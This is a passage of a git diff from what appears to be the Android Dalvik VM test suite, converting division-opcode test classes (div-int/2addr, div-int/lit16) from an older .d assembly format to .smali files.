-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       div-int/2addr v3, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.smali
new file mode 100644
index 0000000..655e502
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       div-int/2addr v3, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.d
deleted file mode 100644
index 483865e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_3.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 323231415
-       div-int/2addr v3, v0
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.smali
new file mode 100644
index 0000000..b5b5727
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 323231415
+       div-int/2addr v3, v0
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.d
deleted file mode 100644
index fbda213..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_4.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int/2addr v1, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.smali
new file mode 100644
index 0000000..bafd190
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int/2addr v1, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.d
deleted file mode 100644
index 2ee42a9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_5.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-
-       div-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.smali
new file mode 100644
index 0000000..ec16f22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+
+       div-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.d
deleted file mode 100644
index 7742df6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_6.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int/2addr v2, v4
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.smali
new file mode 100644
index 0000000..0b65772
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int/2addr v2, v4
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.d
deleted file mode 100644
index 6b57fb7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_1.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 8
-       div-int/lit16 v0, v2, 4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.smali
new file mode 100644
index 0000000..d878516
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 8
+       div-int/lit16 v0, v2, 4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.d
deleted file mode 100644
index d665855..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_10.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, -2147483648
-       div-int/lit16 v0, v2, 32767
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.smali
new file mode 100644
index 0000000..a21c237
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, -2147483648
+       div-int/lit16 v0, v2, 32767
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.d
deleted file mode 100644
index 9f6cd95..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_11.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit16 v0, v2, 32767
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.smali
new file mode 100644
index 0000000..634ffec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_11.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit16 v0, v2, 32767
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.d
deleted file mode 100644
index e99957a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_12.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit16 v0, v2, -32768
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.smali
new file mode 100644
index 0000000..95541c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_12.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit16 v0, v2, -32768
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.d
deleted file mode 100644
index 4115385..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_13.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       div-int/lit16 v0, v2, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.java
index bbbab37..1d9a7fd 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.java
@@ -18,6 +18,7 @@
 
 public class T_div_int_lit16_13 {
 
+    @SuppressWarnings("ConstantOverflow")
     public int run() {
         return 1 / 0;
     }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.smali
new file mode 100644
index 0000000..e0f4bc8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_13.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       div-int/lit16 v0, v2, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.d
deleted file mode 100644
index 3731d36..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_14.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide v1, 31415
-       div-int/lit16 v1, v1, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.smali
new file mode 100644
index 0000000..4e84bd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_14.java"
+.class  public Ldot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const-wide v1, 31415
+       div-int/lit16 v1, v1, 1
+       const v0, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.d
deleted file mode 100644
index 27fba6e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_lit16_15.java
-.class public dot.junit.opcodes.div_int_lit16.d.T_div_int_lit16_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const-wide v1, 3.1415
-       div-int/lit16 v1, v1, 1
-       const v0, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.smali
new file mode 100644
index 0000000..8252bf7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_lit16/d/T_div_int_lit16_15.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_lit16_15.java"
